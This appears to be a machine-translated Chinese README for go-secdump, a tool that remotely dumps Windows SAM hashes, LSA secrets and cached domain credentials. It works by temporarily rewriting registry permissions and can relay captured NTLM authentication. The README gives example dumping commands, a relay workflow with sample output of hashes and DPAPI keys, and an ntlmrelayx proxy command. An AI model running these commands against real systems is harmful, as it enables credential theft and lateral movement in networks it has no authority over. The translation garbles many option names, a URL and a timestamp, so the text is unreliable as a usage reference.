软件包go-secdump是一种构建的工具,旨在从SAM注册表中远程提取哈希以及LSA秘密和从没有任何远程代理而无需触摸磁盘的安全蜂巢中的LSA秘密和加速哈希。
该工具是在库GO-SMB顶部构建的,并使用它与Windows Remote注册表进行通信,以直接从内存中检索注册表键。
它是作为一种学习经验而建立的,作为一种概念证明,应该可以远程从Sam Hive和LSA秘密中远程检索NT Hashes,以及域的固定率,而无需首先保存注册表蜂箱来磁盘,然后在本地分析它们。
要克服的主要问题是SAM和安全蜂箱仅由NT Authority \ System可读。但是,我注意到本地小组管理员对注册表hives掌握了WitterAcl许可,因此可以临时授予自身访问自身以检索秘密,然后恢复原始权限。
信用
该项目中的许多代码都是从Impack的secdump中启发/取的,但转换为远程访问Windows注册表,仅访问所需的注册表键。
其他一些用于理解注册表结构和加密方法有用的来源列出了:
https://www.passcape.com/index.php?section=docsyscmd=detailsid=23
http://WWW.BeginningToseEethelight.org/ntsecurity/index.htm
https://Social.technet.microsoft.com/forums/en-us/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-are-are-ntlm-hashes-hashes-hashes-hashes-ntlm-hashes-setord--------------------- under-under-under-the-the-the-v-key-in-in-in-in-in-in-in-in-in-the-sam?
用法
用法:/go-secdump [选项]
Options:
- 主机主机名或远程服务器的IP地址
-p, - 波特端口SMB端口(默认445)
-d, - 用于登录的域域名
-U, - 用户用户名用户名
-p, - 通行证密码
-n, - -NO-PASS禁用密码提示,没有发送凭据
- 用户密码编码NT HASH HASH编码NT哈希
- 本地验证作为本地用户而不是域用户
- 将SAM和安全蜂巢保存到磁盘上,并将其保存
将它们传输到本地机器。
- SAM提取物明确地从Sam Hive中提取秘密。仅包括其他明确目标。
-LSA提取物LSA秘密明确。仅包括其他明确目标。
-DCC2提取物DCC2缓存。仅包括OHTER显式目标。
-backup-dacl在修改之前将原始DACL保存到磁盘
- 使用磁盘备份还原DACL。如果自动还原失败,可能会很有用。
- 用于DACL备份的backup-file文件名(默认DACL.BACKUP)
- Relay启动了SMB侦听器,该侦听器将传达
远程服务器的NTLM身份验证
使用该连接。请注意,这迫使SMB 2.1
没有加密。
- Relay-port端口侦听端口(默认445)
-Socks-主机目标通过Socks5代理服务器建立连接
-Socks-port端口Socks5代理端口(默认1080)
-t,-pimeout Dial超时以秒为单位(默认5)
- Noenc禁用SMB加密
-SMB2力SMB 2.1
- debug启用调试记录
- verbose启用详细记录
-o, - 输出文件名用于编写结果(默认为stdout)。如果存在,将附加到文件。
-v, - Version Show版本
更改DACLS
GO-SECDUMP将自动尝试修改,然后还原所需注册表键的DACL。但是,如果在恢复部分(例如网络断开连接或其他中断)中出现问题,则远程注册表将留下修改后的DACL。
使用-backup-dacl参数,可以在修改之前存储原始DACL的序列化副本。如果发生连接问题,则可以使用-RESTORE-DACL参数从文件恢复DACL。
示例
转储所有注册表秘密
./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123-本地
或者
./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local -SAM -SAM -LSA-LSA-DCC2 DUMP仅SAM,LSA,LSA或DCC2缓存秘密
./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local -SAM
./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123-Local-LSA
./go-secdump-主机桌面-AIG0C1D2-用户管理员-PASS AdminPass123- -Local-DCC2
NTLM继电器
使用NTLM继电器转储注册表秘密
开始听众
。
yyyy/mm/dd HH:MM:SS SMB [通知]客户端从192.168.0.30:49805连接
yyyy/mm/dd HH:MM:SS SMB [通知]客户端(192.168.0.30:49805)成功地验证为(domain.local \ Administrator)针对(192.168.0.168.0.1003:445)!
Net-NTLMv2 Hash: Administrator:3360domain.local:34f4533b697afc39:b4dcafebabedd12deadbeefffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [通知] [+]不需要签名
2023/12/13 143:47:28 [通知] [+]登录成功为域。
[*]倾倒当地的山姆哈希
name:管理员
RID: 500
NT: 2727D7906A776A77B34D0430AACD2C5
名称:来宾
RID: 501
NT:空
NAME: DEFAULTACCOUNT
RID: 503
NT:空
name: wdagutilityAccount
RID: 504
NT:空
[*]倾倒LSA秘密
[*] $ Machine.acc
$ Machine.ACC:0x15DeadBeef645E75B38A50A52BDB67B4
$ Machine.acc:plain_password_hex:47331E26F48208A7807CAFEABABE267261F79F79FDC 38C740B3BDEADBEEF7277D696BCAFEBABEA62BB5247AC63BE764401ADEADEADBEEF4563CAFEBABE43692DEADEADBEEF03F .
[*] DPAPI_SYSTEM
DPAPI_MACHINEKEY:0x8AFA12897D53DEADBEEFBD82593F6DF04DE9C100
DPAPI_USERKEY:0x706E1CDEA9A8A58CAFEBABE4A34E23BC5EFA8939
[*] NL $ KM
NL $ KM:0x53AA4B3D0DEADBEEF42F01F01EF138C6A74
[*]倾倒缓存的域凭据(域/用户名:HASH)
domain.local/inderdaimator: $ dcc2 $ 10240#管理员#97070D085DeadBeef22CafebabeDD1AB
.
袜子代理
使用上游Socks5代理进行旋转或利用Impacket的ntlmrelayx.py Socks Server功能。
当使用ntlmrelayx.py作为上游代理时,提供的用户名必须匹配已验证的客户端的代理,但是密码可以为空。
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support -no-http-server -no-http-server -no-wcf-server -no-wcf-server -no-no-raw-Server
.
Recommended Comments